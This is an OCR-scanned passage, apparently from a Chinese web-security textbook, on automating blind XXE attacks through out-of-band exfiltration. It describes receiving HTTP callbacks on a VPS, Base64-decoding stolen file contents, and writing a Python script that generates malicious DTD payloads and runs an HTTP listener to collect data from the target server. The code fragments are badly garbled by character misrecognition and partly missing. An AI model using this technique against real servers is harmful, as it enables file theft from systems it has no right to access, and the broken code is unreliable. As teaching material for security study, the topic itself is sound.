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我们点击发送这个数据包’就可以在VPS上看到HTTP访问记录,如下所示:
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对content的内容进行Base64解码将得到文件内容’如图5ˉ3所示。

5.22检测万法

在目标服务器无回显的情况下’只能通过OOB信息传

送来进行XXE攻击’但实际的操作过程则比较烦琐’本节

针对无回显的XXE’通过Python脚本来实现流程自动化°

具体步骤如下:

l）写人脚本相关信息和模块:
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图5ˉ3 内容进行解码
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｜
fr◎I∏httPˉserver1∏lp○工tHTTPServer′S1mp1eHTTPReques仁H己nd1er

1II］P○rt亡hre己d土ng

1InP○工trequeStS

jmP○rtSyS
‖

2）编写攻击Payload的生成函数’能够根据给定的IP地址和端口生成相应的包含

恶意DTD的XML文件:
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3）编写HTTP服务函数’通过http.server模块实现HTTP服务’用来监听目标服务

器返回的数据:
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扑于启HTTP服务,接收数据

defSt己r〔HTTP（11p′1p◎rt）:
＃HTTP监听的工P地址和端口

serverAddr＝ （11p′ 1p○工仁）

httpd＝HTTPServer（se工verAddr′MyH己nd1er）

p工in仁（＂［＊］ 正在开启HTTP服务器;＼n＼n＝＝≡≡≡＝＝＝＝＝≡＝＝＼nIP地址:｛0｝＼n端口
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